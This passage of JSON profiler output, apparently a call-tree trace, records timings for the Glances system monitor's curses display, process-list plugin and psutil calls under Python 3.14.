\"select\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/selectors.py\\u0000385\",\"time\": 0.004023,\"attributes\": {\"cPollSelector\": 0.004023435001727194, \"l398\": 0.004023435001727194},\"children\": [{\"identifier\": \"poll.poll\\u0000<built-in>\\u00000\",\"time\": 0.004023,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.004023,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"start\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/process.py\\u0000110\",\"time\": 0.001488,\"attributes\": {\"cForkProcess\": 0.0014877709982101806, \"l126\": 0.0014877709982101806},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001488,\"attributes\": {},\"children\": []}]},{\"identifier\": \"join\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/process.py\\u0000149\",\"time\": 0.003779,\"attributes\": {\"cForkProcess\": 0.003778790000069421, \"l156\": 0.003778790000069421},\"children\": [{\"identifier\": \"wait\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000037\",\"time\": 0.003779,\"attributes\": {\"cPopen\": 0.003778790000069421, \"l41\": 0.003778790000069421},\"children\": [{\"identifier\": \"wait\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/connection.py\\u00001151\",\"time\": 0.003779,\"attributes\": {\"l1165\": 0.003778790000069421},\"children\": [{\"identifier\": \"select\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/selectors.py\\u0000385\",\"time\": 0.003779,\"attributes\": {\"cPollSelector\": 0.003778790000069421, \"l398\": 0.003778790000069421},\"children\": [{\"identifier\": \"poll.poll\\u0000<built-in>\\u00000\",\"time\": 0.003779,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.003779,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/wifi/__init__.py\\u000083\",\"time\": 0.001403,\"attributes\": {\"cWifiPlugin\": 0.0014034440027899109, \"l101\": 0.0014034440027899109},\"children\": [{\"identifier\": \"_get_wireless_stats\\u0000/home/nicolargo/dev/glances/glances/plugins/wifi/__init__.py\\u0000114\",\"time\": 0.001403,\"attributes\": {\"cWifiPlugin\": 0.0014034440027899109, \"l119\": 0.0014034440027899109},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001403,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/quicklook/__init__.py\\u0000107\",\"time\": 0.001810,\"attributes\": {\"cQuicklookPlugin\": 0.00181006699858699, \"l141\": 0.00181006699858699},\"children\": [{\"identifier\": \"swap_memory\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00002055\",\"time\": 0.001810,\"attributes\": {\"l2068\": 0.00181006699858699},\"children\": [{\"identifier\": \"swap_memory\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u0000435\",\"time\": 0.001810,\"attributes\": {\"l473\": 0.00181006699858699},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001810,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001138\",\"time\": 2.070294,\"attributes\": {\"cGlancesCursesStandalone\": 2.0702941130002728, \"l1154\": 0.06104971999593545, \"l1169\": 1.005024690006394, \"l1172\": 1.0042197029979434},\"children\": [{\"identifier\": \"flush\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001124\",\"time\": 0.061050,\"attributes\": {\"cGlancesCursesStandalone\": 0.06104971999593545, \"l1135\": 0.05899396300083026, \"l1136\": 0.0020557569951051846},\"children\": [{\"identifier\": \"display\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000549\",\"time\": 0.058994,\"attributes\": {\"cGlancesCursesStandalone\": 0.05899396300083026, \"l569\": 0.056990206001501065, \"l598\": 0.002003756999329198},\"children\": [{\"identifier\": \"__get_stat_display\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000514\",\"time\": 0.056990,\"attributes\": {\"cGlancesCursesStandalone\": 0.056990206001501065, \"l545\": 0.056990206001501065},\"children\": [{\"identifier\": \"get_stats_display\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001082\",\"time\": 0.056990,\"attributes\": {\"cProgramlistPlugin\": 0.017989169995416887, \"l1101\": 0.056990206001501065, \"cProcesslistPlugin\": 0.03900103600608418},\"children\": [{\"identifier\": \"msg_curse\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000556\",\"time\": 0.056990,\"attributes\": {\"cProgramlistPlugin\": 0.017989169995416887, \"l587\": 0.05498859799990896, \"cProcesslistPlugin\": 0.03900103600608418, \"l566\": 0.0020016080015921034},\"children\": [{\"identifier\": \"get_process_curses_data\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000520\",\"time\": 0.017989,\"attributes\": {\"cProgramlistPlugin\": 0.017989169995416887, \"l538\": 0.01598997099790722, \"l537\": 0.001999198997509666},\"children\": [{\"identifier\": \"_get_process_curses_cmdline\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000488\",\"time\": 0.001991,\"attributes\": {\"cProgramlistPlugin\": 0.0019911729978048243, \"l518\": 0.0019911729978048243},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001991,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_get_process_curses_memory_info\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000357\",\"time\": 0.001999,\"attributes\": {\"cProgramlistPlugin\": 0.001998738996917382, \"l361\": 0.001998738996917382},\"children\": [{\"identifier\": \"_get_process_curses_rss\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000347\",\"time\": 0.001999,\"attributes\": {\"cProgramlistPlugin\": 0.001998738996917382, \"l350\": 0.001998738996917382},\"children\": [{\"identifier\": \"auto_unit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001249\",\"time\": 0.001999,\"attributes\": {\"cProgramlistPlugin\": 0.001998738996917382, \"l1251\": 0.001998738996917382},\"children\": [{\"identifier\": \"auto_unit\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000424\",\"time\": 0.001999,\"attributes\": {\"l462\": 0.001998738996917382},\"children\": [{\"identifier\": \"isinstance\\u0000<built-in>\\u00000\",\"time\": 0.001999,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"_get_process_curses_memory_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000321\",\"time\": 0.002008,\"attributes\": {\"cProgramlistPlugin\": 0.002008258001296781, \"l325\": 0.002008258001296781},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.002008,\"attributes\": {\"cProgramlistPlugin\": 0.002008258001296781, \"l857\": 0.002008258001296781},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002008,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"getattr\\u0000<built-in>\\u00000\",\"time\": 0.001992,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001992,\"attributes\": {},\"children\": []}]},{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []},{\"identifier\": \"_get_process_curses_nice\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000422\",\"time\": 0.002028,\"attributes\": {\"cProgramlistPlugin\": 0.0020283610065234825, \"l429\": 0.0020283610065234825},\"children\": [{\"identifier\": \"get_nice_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000273\",\"time\": 0.002028,\"attributes\": {\"cProgramlistPlugin\": 0.0020283610065234825, \"l276\": 0.0020283610065234825},\"children\": [{\"identifier\": \"get_limit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000955\",\"time\": 0.002028,\"attributes\": {\"cProgramlistPlugin\": 0.0020283610065234825, \"l969\": 0.0020283610065234825},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002028,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_get_process_curses_memory_info\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000357\",\"time\": 0.001982,\"attributes\": {\"cProgramlistPlugin\": 0.001982037996640429, \"l360\": 0.001982037996640429},\"children\": [{\"identifier\": \"_get_process_curses_vms\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000337\",\"time\": 0.001982,\"attributes\": {\"cProgramlistPlugin\": 0.001982037996640429, \"l340\": 0.001982037996640429},\"children\": [{\"identifier\": \"str.format\\u0000<built-in>\\u00000\",\"time\": 0.001982,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001982,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_get_process_curses_nice\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000422\",\"time\": 0.001989,\"attributes\": {\"cProgramlistPlugin\": 0.0019893560020136647, \"l429\": 0.0019893560020136647},\"children\": [{\"identifier\": \"get_nice_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000273\",\"time\": 0.001989,\"attributes\": {\"cProgramlistPlugin\": 0.0019893560020136647, \"l276\": 0.0019893560020136647},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001989,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"getattr\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"sort_stats\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000800\",\"time\": 0.002002,\"attributes\": {\"l824\": 0.0020016080015921034},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]},{\"identifier\": \"get_process_curses_data\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000520\",\"time\": 0.036999,\"attributes\": {\"cProcesslistPlugin\": 0.036999428004492074, \"l538\": 0.033000812007230707, \"l537\": 0.001998886997171212, \"l539\": 0.0019997290000901558},\"children\": [{\"identifier\": \"_get_process_curses_cmdline\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000488\",\"time\": 0.005372,\"attributes\": {\"cProcesslistPlugin\": 0.005371600003854837, \"l500\": 0.0020124310030951165, \"l497\": 0.003359169000759721},\"children\": [{\"identifier\": \"isdir\\u0000<frozen genericpath>\\u000048\",\"time\": 0.002012,\"attributes\": {\"l51\": 0.0020124310030951165},\"children\": [{\"identifier\": \"stat\\u0000<built-in>\\u00000\",\"time\": 0.002012,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002012,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"split_cmdline\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000101\",\"time\": 0.003359,\"attributes\": {\"l114\": 0.003359169000759721},\"children\": [{\"identifier\": \"split\\u0000<frozen posixpath>\\u0000100\",\"time\": 0.003359,\"attributes\": {\"l104\": 0.003359169000759721},\"children\": [{\"identifier\": \"_get_sep\\u0000<frozen posixpath>\\u000042\",\"time\": 0.003359,\"attributes\": {\"l46\": 0.003359169000759721},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.003359,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"_get_process_curses_memory_info\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000357\",\"time\": 0.001628,\"attributes\": {\"cProcesslistPlugin\": 0.0016279060000670142, \"l361\": 0.0016279060000670142},\"children\": [{\"identifier\": \"_get_process_curses_rss\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000347\",\"time\": 0.001628,\"attributes\": {\"cProcesslistPlugin\": 0.0016279060000670142, \"l350\": 0.0016279060000670142},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001628,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_cmdline\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000488\",\"time\": 0.002001,\"attributes\": {\"cProcesslistPlugin\": 0.002000526998017449, \"l500\": 0.002000526998017449},\"children\": [{\"identifier\": \"isdir\\u0000<frozen genericpath>\\u000048\",\"time\": 0.002001,\"attributes\": {\"l54\": 0.002000526998017449},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_memory_info\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000357\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.0019995539987576194, \"l360\": 0.0019995539987576194},\"children\": [{\"identifier\": \"_get_process_curses_vms\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000337\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.0019995539987576194, \"l340\": 0.0019995539987576194},\"children\": [{\"identifier\": \"auto_unit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001249\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.0019995539987576194, \"l1251\": 0.0019995539987576194},\"children\": [{\"identifier\": \"auto_unit\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000424\",\"time\": 0.002000,\"attributes\": {\"l478\": 0.0019995539987576194},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"_get_process_curses_cpu_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000301\",\"time\": 0.010463,\"attributes\": {\"cProcesslistPlugin\": 0.010463236998475622, \"l309\": 0.010463236998475622},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.010463,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_get_process_curses_status\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000435\",\"time\": 0.001537,\"attributes\": {\"cProcesslistPlugin\": 0.0015370710025308654, \"l440\": 0.0015370710025308654},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001537,\"attributes\": {},\"children\": []}]},{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []},{\"identifier\": \"isinstance\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_get_process_curses_status\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000435\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.002000134998525027, \"l440\": 0.002000134998525027},\"children\": [{\"identifier\": \"get_status_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000287\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.002000134998525027, \"l290\": 0.002000134998525027},\"children\": [{\"identifier\": \"get_limit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000955\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.002000134998525027, \"l967\": 0.002000134998525027},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_get_process_curses_memory_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000321\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.001999867003178224, \"l325\": 0.001999867003178224},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.001999867003178224, \"l874\": 0.001999867003178224},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_cpu_times\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000380\",\"time\": 0.002001,\"attributes\": {\"cProcesslistPlugin\": 0.0020013059984194115, \"l397\": 0.0020013059984194115},\"children\": [{\"identifier\": \"seconds_to_hms\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u000089\",\"time\": 0.002001,\"attributes\": {\"l96\": 0.0020013059984194115},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_io_counters\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000469\",\"time\": 0.001999,\"attributes\": {\"cProcesslistPlugin\": 0.001998879000893794, \"l472\": 0.001998879000893794},\"children\": [{\"identifier\": \"_get_process_curses_io_read_write\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000450\",\"time\": 0.001999,\"attributes\": {\"cProcesslistPlugin\": 0.001998879000893794, \"l465\": 0.001998879000893794},\"children\": [{\"identifier\": \"str.format\\u0000<built-in>\\u00000\",\"time\": 0.001999,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_get_process_curses_status\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000435\",\"time\": 0.002001,\"attributes\": {\"cProcesslistPlugin\": 0.0020007300045108423, \"l440\": 0.0020007300045108423},\"children\": [{\"identifier\": \"get_status_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000287\",\"time\": 0.002001,\"attributes\": {\"cProcesslistPlugin\": 0.0020007300045108423, \"l297\": 0.0020007300045108423},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]}]}]}]},{\"identifier\": \"__display_left\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000808\",\"time\": 0.002004,\"attributes\": {\"cGlancesCursesStandalone\": 0.002003756999329198, \"l819\": 0.002003756999329198},\"children\": [{\"identifier\": \"display_plugin\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001062\",\"time\": 0.002004,\"attributes\": {\"cGlancesCursesStandalone\": 0.002003756999329198, \"l1094\": 0.002003756999329198},\"children\": [{\"identifier\": \"display_stats\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001027\",\"time\": 0.002004,\"attributes\": {\"cGlancesCursesStandalone\": 0.002003756999329198, \"l1033\": 0.002003756999329198},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002004,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"refresh\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001120\",\"time\": 0.002056,\"attributes\": {\"cGlancesCursesStandalone\": 0.0020557569951051846, \"l1122\": 0.0020557569951051846},\"children\": [{\"identifier\": \"window.refresh\\u0000<built-in>\\u00000\",\"time\": 0.002056,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002056,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100381,\"attributes\": {\"cGlancesCursesStandalone\": 0.10038086800341262, \"l291\": 0.10038086800341262},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100381,\"attributes\": {\"cGlancesCursesStandalone\": 0.10038086800341262, \"l260\": 0.10038086800341262},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100381,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100381,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100535,\"attributes\": {\"cGlancesCursesStandalone\": 0.10053486900142161, \"l1202\": 0.10053486900142161},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100535,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100535,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100410,\"attributes\": {\"cGlancesCursesStandalone\": 0.10040979799669003, \"l291\": 0.10040979799669003},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100410,\"attributes\": {\"cGlancesCursesStandalone\": 0.10040979799669003, \"l260\": 0.10040979799669003},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100410,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100410,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100402,\"attributes\": {\"cGlancesCursesStandalone\": 0.10040176400070777, \"l1202\": 0.10040176400070777},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100402,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100402,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100432,\"attributes\": {\"cGlancesCursesStandalone\": 0.10043175300233997, \"l291\": 0.10043175300233997},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100432,\"attributes\": {\"cGlancesCursesStandalone\": 0.10043175300233997, \"l260\": 0.10043175300233997},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100432,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100432,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100334,\"attributes\": {\"cGlancesCursesStandalone\": 0.1003341219984577, \"l1202\": 0.1003341219984577},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100334,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100334,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100550,\"attributes\": {\"cGlancesCursesStandalone\": 0.10054994299571263, \"l291\": 0.10054994299571263},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100550,\"attributes\": {\"cGlancesCursesStandalone\": 0.10054994299571263, \"l260\": 0.10054994299571263},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100550,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100550,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100477,\"attributes\": {\"cGlancesCursesStandalone\": 0.10047710900107631, \"l1202\": 0.10047710900107631},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100477,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100477,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100610,\"attributes\": {\"cGlancesCursesStandalone\": 0.10060983700532233, \"l291\": 0.10060983700532233},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100610,\"attributes\": {\"cGlancesCursesStandalone\": 0.10060983700532233, \"l260\": 0.10060983700532233},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100610,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100610,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100510,\"attributes\": {\"cGlancesCursesStandalone\": 0.10051041699625785, \"l1202\": 0.10051041699625785},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100510,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100510,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100570,\"attributes\": {\"cGlancesCursesStandalone\": 0.10056987700227182, \"l291\": 0.10056987700227182},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100570,\"attributes\": {\"cGlancesCursesStandalone\": 0.10056987700227182, \"l260\": 0.10056987700227182},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100570,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100570,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100370,\"attributes\": {\"cGlancesCursesStandalone\": 0.1003699869979755, \"l1202\": 0.1003699869979755},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100370,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100370,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100527,\"attributes\": {\"cGlancesCursesStandalone\": 0.10052747200097656, \"l291\": 0.10052747200097656},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100527,\"attributes\": {\"cGlancesCursesStandalone\": 0.10052747200097656, \"l260\": 0.10052747200097656},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100527,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100527,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100210,\"attributes\": {\"cGlancesCursesStandalone\": 0.1002104840008542, \"l1202\": 0.1002104840008542},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100210,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100210,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100514,\"attributes\": {\"cGlancesCursesStandalone\": 0.10051367899723118, \"l291\": 0.10051367899723118},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100514,\"attributes\": {\"cGlancesCursesStandalone\": 0.10051367899723118, \"l260\": 0.10051367899723118},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100514,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100514,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100429,\"attributes\": {\"cGlancesCursesStandalone\": 0.10042860700195888, \"l1202\": 0.10042860700195888},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100429,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100429,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100555,\"attributes\": {\"cGlancesCursesStandalone\": 0.10055526899668621, \"l291\": 0.10055526899668621},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100555,\"attributes\": {\"cGlancesCursesStandalone\": 0.10055526899668621, \"l260\": 0.10055526899668621},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100555,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100555,\"attributes\": {},\"children\": 